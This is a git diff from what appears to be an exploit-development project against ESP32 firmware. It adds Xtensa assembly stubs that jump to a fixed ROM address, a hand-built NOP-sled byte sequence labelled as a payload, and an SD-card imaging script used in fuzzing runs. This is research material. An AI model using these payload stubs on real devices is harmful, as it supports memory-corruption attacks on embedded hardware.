diff --git a/ASM-Payloads/asm-notes.txt b/ASM-Payloads/asm-notes.txt new file mode 100644 index 0000000..6758d96 --- /dev/null +++ b/ASM-Payloads/asm-notes.txt @@ -0,0 +1,33 @@ +xtensa-esp32-elf-as --warn --fatal-warnings first.s -o first.o +xtensa-esp32-elf-objdump -d second.o + +second.o: file format elf32-xtensa-le + + +Disassembly of section .text: + +00000000 <_start>: + 0: 000021 l32r a2, fffc0000 <_start+0xfffc0000> + 3: 0002a0 jx a2 + +jx-addr.o: file format elf32-xtensa-le + + +Disassembly of section .text: + +00000000 <_start>: + 0: f03d nop.n + 2: f03d nop.n + 4: f03d nop.n + 6: 000021 l32r a2, fffc0008 <_start+0xfffc0008> + 9: 0002a0 jx a2 + c: f03d nop.n + e: f03d nop.n + 10: f03d nop.n + + +nop.n +\xF0\x3D + +full sequence: + \xF0\x3D\xF0\x3D\xF0\x3D\x00\x00\x21\xF0\x3D\xF0\x3D\xF0\x3D \ No newline at end of file diff --git a/ASM-Payloads/build-notes.txt b/ASM-Payloads/build-notes.txt new file mode 100644 index 0000000..9a36945 --- /dev/null +++ b/ASM-Payloads/build-notes.txt @@ -0,0 +1,2 @@ +xtensa-esp32-elf-as --warn --fatal-warnings first.s -o first.o +xtensa-esp32-elf-objdump -d second.o diff --git a/ASM-Payloads/first.o b/ASM-Payloads/first.o new file mode 100644 index 0000000..9aa0ce6 Binary files /dev/null and b/ASM-Payloads/first.o differ diff --git a/ASM-Payloads/first.s b/ASM-Payloads/first.s new file mode 100644 index 0000000..8dd2621 --- /dev/null +++ b/ASM-Payloads/first.s @@ -0,0 +1,2 @@ +_start: + j 400011a0 diff --git a/ASM-Payloads/jx-addr.o b/ASM-Payloads/jx-addr.o new file mode 100644 index 0000000..a0df8ae Binary files /dev/null and b/ASM-Payloads/jx-addr.o differ diff --git a/ASM-Payloads/jx-addr.s b/ASM-Payloads/jx-addr.s new file mode 100644 index 0000000..382d957 --- /dev/null +++ b/ASM-Payloads/jx-addr.s @@ -0,0 +1,9 @@ +_start: + nop + nop + nop + l32r a2, 400011a0 + jx a2 + nop + nop + nop diff --git a/ASM-Payloads/jx-addr2.o b/ASM-Payloads/jx-addr2.o new file mode 100644 index 0000000..a0df8ae Binary files /dev/null and b/ASM-Payloads/jx-addr2.o differ diff --git a/ASM-Payloads/second.o b/ASM-Payloads/second.o new file mode 100644 index 0000000..d0e2952 Binary files /dev/null and b/ASM-Payloads/second.o differ diff --git a/ASM-Payloads/second.o.txt b/ASM-Payloads/second.o.txt new file mode 100644 index 0000000..0f1f905 --- /dev/null +++ b/ASM-Payloads/second.o.txt @@ -0,0 +1,9 @@ + +second.o: file format elf32-xtensa-le + + +Disassembly of section .text: + +00000000 <_start>: + 0: 000021 l32r a2, fffc0000 <_start+0xfffc0000> + 3: 0002a0 jx a2 diff --git a/ASM-Payloads/second.s b/ASM-Payloads/second.s new file mode 100644 index 0000000..027c09b --- /dev/null +++ b/ASM-Payloads/second.s @@ -0,0 +1,3 @@ +_start: + l32r a2, 400011a0 + jx a2 diff --git a/ASM-Payloads/third.s b/ASM-Payloads/third.s new file mode 100644 index 0000000..027c09b --- /dev/null +++ b/ASM-Payloads/third.s @@ -0,0 +1,3 @@ +_start: + l32r a2, 400011a0 + jx a2 diff --git a/sd-card-helpers/dump-script b/sd-card-helpers/dump-script index 0acf5cc..2406a17 100644 --- a/sd-card-helpers/dump-script +++ b/sd-card-helpers/dump-script @@ -1,9 +1,9 @@ #!/bin/bash -number=2 -tag=incremental-overrun-nullbyte -blocks=32 +number=0 +tag=full-fuzz +blocks=100 blocksize=1M -dumpsize=32M +dumpsize=100M @@ -15,7 +15,7 @@ block=/dev/$disk timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z") -filename="/home/kali/marauderexploitdev/imgs/${number}-${tag}-${dumpsize}-${timestamp}.img" +filename="./imgs/${number}-${tag}-${dumpsize}-${timestamp}.img" echo -e "\nWriting to ${filename}" sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync diff --git a/sd-card-helpers/imgs/0-full-fuzz-100M-27092024-21.54.44-UTC.img b/sd-card-helpers/imgs/0-full-fuzz-100M-27092024-21.54.44-UTC.img new file mode 100644 index 0000000..41fc4c6 Binary files /dev/null and b/sd-card-helpers/imgs/0-full-fuzz-100M-27092024-21.54.44-UTC.img differ diff --git a/sd-card-helpers/imgs/2-incremental-overrun-nullbyte-32M-27092024-20.41.37-UTC.img b/sd-card-helpers/imgs/2-incremental-overrun-nullbyte-32M-27092024-20.41.37-UTC.img new file mode 100644 index 0000000..3800282 Binary files /dev/null and b/sd-card-helpers/imgs/2-incremental-overrun-nullbyte-32M-27092024-20.41.37-UTC.img differ